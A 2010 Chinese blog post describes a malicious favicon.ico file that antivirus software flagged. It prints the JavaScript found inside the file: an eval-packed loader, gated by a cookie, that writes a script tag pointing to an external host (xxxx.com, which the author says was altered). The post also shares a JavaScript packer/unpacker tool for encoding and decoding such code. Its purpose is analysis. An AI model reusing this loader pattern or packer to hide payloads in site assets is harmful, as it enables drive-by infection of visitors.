Home > 技术爱好 > js混淆加密解密器

js混淆加密解密器

March 5th, 2010

今天上网的时候卡巴报了一个favicon.ico文件含病毒,我还是第一次发现favicon.ico可以挂马,于是下过来研究,这里分享一下研究过程。

下过来的favicon.ico文件中包含了一段js,代码如下:











<script language="javascript" type="text/javascript">
if(document.cookie.indexOf('helio')==-1)
{
var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()
//设置cookies
 
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return   d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new   RegExp('\\b'+e(c)+'\\b','g'),k[c]);return   p}('1.7(\'<5 4=3 6="2://8.0"></5>\')',62,9,'com|document|http|javascript|language|script|src|writeln|xxxx'.split('|'),0,{}))
//js混淆后的iframe挂马(地址已被我修改)
 
;}
<
/script>

注:js那段eval(…)的js代码可用js混淆加密解密器进行解密

js混淆加密解密器代码

<script>   
 
a=62;   
    
 
function   encode()   {   
      
var   code   =   document.getElementById('code').value;   
      
code   =   code.replace(/[\r\n]+/g,   '');   
      
code   =   code.replace(/'/g,   "\\'");   
      
var   tmp   =   code.match(/\b(\w+)\b/g);   
      
tmp.sort();   
      
var   dict   =   [];   
      
var   i,   t   =   '';   
      
for(var   i=0;   i<tmp.length;   i++)   {   
          
if(tmp[i]   !=   t)   dict.push(t   =   tmp[i]);   
      
}   
      
var   len   =   dict.length;   
      
var   ch;   
      
for(i=0;   i<len;   i++)   {   
          
ch   =   num(i);   
          
code   =   code.replace(new   RegExp('\\b'+dict[i]+'\\b','g'),   ch);   
          
if(ch   ==   dict[i])   dict[i]   =   '';   
      
}   
      
document.getElementById('code').value   =   "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return   d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new   RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return   p}("   
          +   
"'"+code+"',"+a+","+len+",'"+   dict.join('|')+"'.split('|'),0,{}))";   
 
}   
    
 
function   num(c)   {   
      
return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));   
  }   
    
  function   run()   {   
      eval(document.getElementById('code').value);   
  }   
    
  function   decode()   {   
      var   code   =   document.getElementById('code').value;   
      code   =   code.replace(
/^eval/,   '');   
      document.getElementById('code').value   =   eval(code);   
  }   
  <
/script>   
    
    
  <
textarea   id=code   cols=80   rows=20>   
 
alert('123');   
 
a=   1;   
 
b=2;   
 
alert(a+b);   
  <
/textarea><br>   
  <input   type=button   onclick=encode()   value=编码>   
  <input   type=button   onclick=run()   value=执行>   
  <input   type=button   onclick=decode()   value=解码>

baizoo 技术爱好 ,

  1. No comments yet.
  1. No trackbacks yet.